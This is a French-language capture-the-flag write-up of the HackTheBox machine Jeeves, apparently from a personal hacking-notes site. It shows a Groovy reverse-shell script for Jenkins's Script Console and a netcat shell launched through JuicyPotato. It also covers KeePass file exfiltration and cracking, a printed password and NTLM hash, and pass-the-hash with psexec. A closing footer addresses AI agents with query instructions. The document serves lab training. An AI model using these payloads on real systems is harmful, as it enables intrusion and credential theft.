> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-medium/jeeves-hackthebox-writeup.md).

# Compte rendu HackTheBox de Jeeves

{% embed url="<https://app.hackthebox.com/machines/114>" %}

{% hint style="warning" %}
**Compétences :**

* Exploitation de Jenkins (Groovy Script Console)
* Cassage de KeePass
* Pass-the-Hash (Psexec)
* RottenPotato (SeImpersonatePrivilege)
* Flux de données alternatifs (ADS)
  {% endhint %}

## Reconnaissance

**Configuration de l'espace de travail :**

Nous allons établir notre espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance en utilisant Nmap

<figure><img src="/files/6c15b8dbb2cc63381d173272fd165f4a3fb53d6b" alt="" width="563"><figcaption></figcaption></figure>

**Vérification de la connectivité VPN**

Vérifiez la connectivité VPN pour assurer une communication stable avec la machine cible.

<figure><img src="/files/742b97e11552b80330c1d32a3bdd000a2fdb736a" alt="" width="563"><figcaption></figcaption></figure>

**Découverte des ports ouverts avec Nmap :**

Énumérez les ports ouverts et exportez les résultats dans le fichier "allPorts" du répertoire Nmap :

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.63 -oG allPorts
```

<figure><img src="/files/60b229d482ec788cfd02283c587a87879086809b" alt=""><figcaption></figcaption></figure>

**Analyse des ports ouverts avec extractPorts :**

En utilisant la fonction extractPorts pour afficher de manière concise les ports ouverts et les copier dans le presse-papiers (80.135.445.50000)

<figure><img src="/files/e5bd53c3fea966f0bad49fe36df7009228b556ff" alt=""><figcaption></figcaption></figure>

**Scan de version des ports avec Nmap :**

Utilisez Nmap pour analyser les versions des services et enregistrer la sortie dans le fichier "targeted" :

```bash
nmap -sCV -p80,135,445,50000 10.10.10.63 -oN targeted
```

<figure><img src="/files/46efa28019869f868da34d188d5ed408d6c39e5f" alt=""><figcaption></figcaption></figure>

### Port 80 - HTTP

<figure><img src="/files/72d83e23b925077cf8dd20acc385683e685b24c8" alt=""><figcaption></figcaption></figure>

Le port HTTP redirige constamment vers une `page error.html` page. Aucune autre information exploitable n'a été trouvée.

<figure><img src="/files/3e54c08de2429d07500493bf471a0f2ab3cb9519" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/dc5a10825bfc578ab53e72d87b23bf4445efbfd3" alt=""><figcaption></figcaption></figure>

### Port 445 - SMB

Nous essayons d'énumérer les partages SMB avec `smbmap` et `smbclient`:

```bash
smbmap -H 10.10.10.63 -u 'null'
smbmap -H 10.10.10.63
```

```bash
smbclient -L 10.10.10.63 -N
```

Cependant, la session échoue avec l'erreur suivante :

```
échec de la configuration de la session : NT_STATUS_ACCESS_DENIED
```

Nous utilisons `crackmapexec` pour collecter les informations de la machine :

```bash
crackmapexec smb 10.10.10.63
```

Résultat :

* **Système d'exploitation** : Windows 10 Pro 10586 x64
* **Nom de la machine**: JEEVES
* **Domaine**: Jeeves

<figure><img src="/files/9d6bb64eb16c99fdd74a290a21167ea860d0ff7d" alt=""><figcaption></figcaption></figure>

### **Port 50000 - Jenkins**

<figure><img src="/files/afb41b543affea5c340918d821f1ab6f1cec17d2" alt=""><figcaption></figcaption></figure>

Nous lançons une analyse de répertoires avec `gobuster` pour explorer le contenu du service HTTP :

```bash
gobuster dir -u http://10.10.10.63:50000/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200
```

Nous découvrons le répertoire **/askjeeves**

<figure><img src="/files/4c9524da311de537762fcf702d5d5e456769adbd" alt=""><figcaption></figcaption></figure>

### CMS - Jenkins

<figure><img src="/files/c615031895c8985303661c606e9c98b79659fe14" alt=""><figcaption></figcaption></figure>

**Jenkins - exécution de script Groovy**

Le CMS Jenkins est accessible et l' **Script Console** option est activée, ce qui nous permet d'exécuter des scripts Groovy.

<figure><img src="/files/9093fe6c4ef9dfb4b5edd8f3bfe296b917ea6605" alt=""><figcaption></figcaption></figure>

Exemple de commande pour tester l'exécution :

```groovy
println "ipconfig".execute().text
```

<figure><img src="/files/06292d1d730732cbf57f6186dd96c5449f6ab2f5" alt=""><figcaption></figcaption></figure>

### **Exploitation**

#### **Reverse shell via la console de script Groovy**

Pour obtenir un accès à distance, nous procédons comme suit :

1. /*/* Écouter sur notre machine sur le port 443/*/*:

```bash
rlwrap nc -nvlp 443
```

2. /*/* Exécuter le script suivant dans la console Groovy/*/* console pour établir un shell inversé :

{% code overflow="wrap" %}

```groovy
String host="10.10.14.9";
int port=443;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
```

{% endcode %}

<figure><img src="/files/1911742fe6a2b6929f67f79bc8526d43da5555f5" alt=""><figcaption></figcaption></figure>

### Drapeau user.txt :)

<figure><img src="/files/25aa5d84554fa7066a265f27171fec51bfbeba19" alt=""><figcaption></figcaption></figure>

## **Élévation de privilèges**

## **Méthode 1 : craquage du fichier Keepass**

Dans le **Documents** répertoire de l'utilisateur **Kosure**, nous trouvons un fichier avec l' **.kdbx** extension (fichier Keepass).

<figure><img src="/files/4a06c665e920161d5809cfed1e073175770a8c31" alt=""><figcaption></figcaption></figure>

/*/* Transfert du fichier Keepass vers notre machine hôte/*/*/ Nous créons un serveur SMB depuis notre machine Linux pour transférer le fichier. Pour cela nous utilisons `smbserver.py`:

```bash
smbserver.py share $(pwd) -smb2support
```

**Transfert depuis Windows**/ Depuis la machine Windows, nous copions le **CEH.kdbx** fichier vers notre machine hôte :

```powershell
copy C:/Users/kohsuke/Documents/CEH.kdbx //10.10.14.9/share/
```

<figure><img src="/files/581e4ccbf235a81f2dcdafe606dfa7a904136e35" alt=""><figcaption></figcaption></figure>

### **Extraction du hachage du fichier KDBX**

Pour extraire le hachage du **KDBX** fichier, nous utilisons **keepass2john** l'outil, qui fait partie de **John the Ripper**:

```bash
keepass2john CEH.kdbx
```

<figure><img src="/files/f96b4fd1ac0b7ee6cb0e5136d7b554a2a2350261" alt=""><figcaption></figcaption></figure>

### **Craquage du hachage**

Nous utilisons **John the Ripper** pour effectuer une attaque par force brute sur le hachage extrait, avec la **liste de mots de passe rockyou. txt**:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

Le mot de passe découvert est :

* `moonshine1`

<figure><img src="/files/c141bf20d54a2543e1eb941c671a2f2b1388f611" alt=""><figcaption></figcaption></figure>

### **Visualisation du contenu de Keepass**

Nous utilisons **KeepassXC** pour ouvrir et afficher le contenu de **Keepass**

<figure><img src="/files/a5ce91297b796315f1cbc56b97238613b1f64b29" alt=""><figcaption></figcaption></figure>

Après avoir saisi le **moonshine1** mot de passe, nous accédons à plusieurs mots de passe, y compris un hachage NTLM v2 pour l'utilisateur **Administrator**:

<figure><img src="/files/a5ce91297b796315f1cbc56b97238613b1f64b29" alt=""><figcaption></figcaption></figure>

```bash
aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00
```

#### /*/* Audit du hachage NTLM v2 avec CrackMapExec/*/*

Nous vérifions si le hachage correspond à un compte **Administrator** par **CrackMapExec**:

```bash
crackmapexec smb 10.10.10.63 -u 'Administrator' -H 'aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00'
```

Le hachage est valide, et nous pouvons maintenant mener une attaque **Pass-the-Hash**.

<div data-full-width="true"><figure><img src="/files/3aca8f64185cb8e4ca48cbe0ee4d352563392c3d" alt=""><figcaption></figcaption></figure></div>

### **Pass-the-Hash - PsExec**

Nous utilisons **PsExec** pour se connecter à la machine cible en utilisant le NTLM v2 découvert. Cela nous donne des privilèges administratifs

```bash
psexec.py WORKGROUP/Administrator@10.10.10.63 -hashes :e0fb1fb85756c24235ff238cbe81fe00
```

Nous avons maintenant un accès complet en tant qu'administrateur.

<figure><img src="/files/09a6f96251d8a57ef74adf2b7179cb4e5418a6e5" alt=""><figcaption></figcaption></figure>

## **Méthode 2 : Exploitation du privilège SeImpersonatePrivilege**

Nous avons constaté que l'utilisateur possède le `SeImpersonatePrivilege` privilège, ce qui le rend vulnérable à certaines techniques d'élévation de privilèges. La commande ci-dessous confirme la présence de ce privilège :

```bash
whoami /priv
```

<figure><img src="/files/8207b23110497647499afc2adaebc1e49861797c" alt=""><figcaption></figcaption></figure>

Pour exploiter cette vulnérabilité, nous allons utiliser **JuicyPotato**, un outil bien connu pour abuser de ce privilège dans le contexte Windows.

**Téléchargement des outils nécessaires**

{% embed url="<https://github.com/ohpe/juicy-potato/releases/tag/v0.1>" %}

{% embed url="<https://eternallybored.org/misc/netcat/>" %}

**Démarrer un serveur SmbFolder** sur notre machine d'attaque pour servir les fichiers :

```bash
smbserver.py share $(pwd) -smb2support
```

**Transférer les fichiers vers la machine cible** en utilisant `Invoke-WebRequest`:

<pre class="language-powershell"><code class="lang-powershell"><strong>copy //10.10.14.9/share/JP.exe
</strong>copy //10.10.14.9/share/nc64.exe
</code></pre>

<figure><img src="/files/2bac6c17aa1307c1a075aa49cd75e7f88318a332" alt=""><figcaption></figcaption></figure>

**Exécution de JuicyPotato pour l'élévation de privilèges**

Nous allons maintenant exécuter JuicyPotato pour obtenir une session privilégiée. La commande suivante lance JuicyPotato, qui exécute `cmd.exe` avec des privilèges élevés et initie une connexion vers notre machine d'attaque via Netcat :

```powershell
./JP.exe -t * -l 1337 -p C:/Windows/System32/cmd.exe -a "/c C:/Windows/Temp/privesc/nc64.exe -e cmd 10.10.14.9 1234"
```

**Connexion à la session élevée**

Pour intercepter la connexion, nous écoutons sur le port 1234 :

```bash
rlwrap nc -nvlp 1234
```

<figure><img src="/files/6e2314d3ba44853fda9923c66ebe492883f44719" alt=""><figcaption></figcaption></figure>

## Flag root - ADS

> Les flux de données alternatifs (ADS) sont une fonctionnalité des **NTFS** systèmes de fichiers sous Windows qui permet d'associer plusieurs flux de données à un seul fichier. Ces flux supplémentaires peuvent contenir des informations cachées qui ne sont pas visibles lors de l'inspection traditionnelle du fichier. Nous allons utiliser cette fonctionnalité pour découvrir le **flag root**.

<figure><img src="/files/e22b47fdaa60fee6126dd02b99dd855b4a782a5c" alt=""><figcaption></figcaption></figure>

#### **1. Vérification des flux de données alternatifs (ADS)**

Nous commençons par vérifier si le **hm.txt** fichier situé sur le bureau de l'utilisateur **Administrator** contient des flux de données alternatifs. Pour ce faire, nous utilisons la commande suivante :

```bash
dir /r C:/Users/Administrator/Desktop/hm.txt
```

Cette commande liste tous les flux de données alternatifs associés à **hm.txt** fichier. Si un flux de données alternatif est présent, il sera affiché.

<figure><img src="/files/621d43e2e54b1d3a3fb1e748f5117e99cd250445" alt=""><figcaption></figcaption></figure>

#### **2. Affichage du contenu d'un flux de données alternatif**

Si nous trouvons un flux de données alternatif associé au fichier, nous pouvons en afficher le contenu avec la commande suivante :

```powershell
more < C:/Users/Administrator/Desktop/hm.txt:root.txt
```

Cela nous permet de lire le contenu du **root.txt** flux et de récupérer le **flag root :)**

<figure><img src="/files/9d44c01b173498fc6e8a1458453d55c7e981cf47" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/01f9832d66510dd05ea131b5ccb7f85943a95e62" alt="" width="524"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-medium/jeeves-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
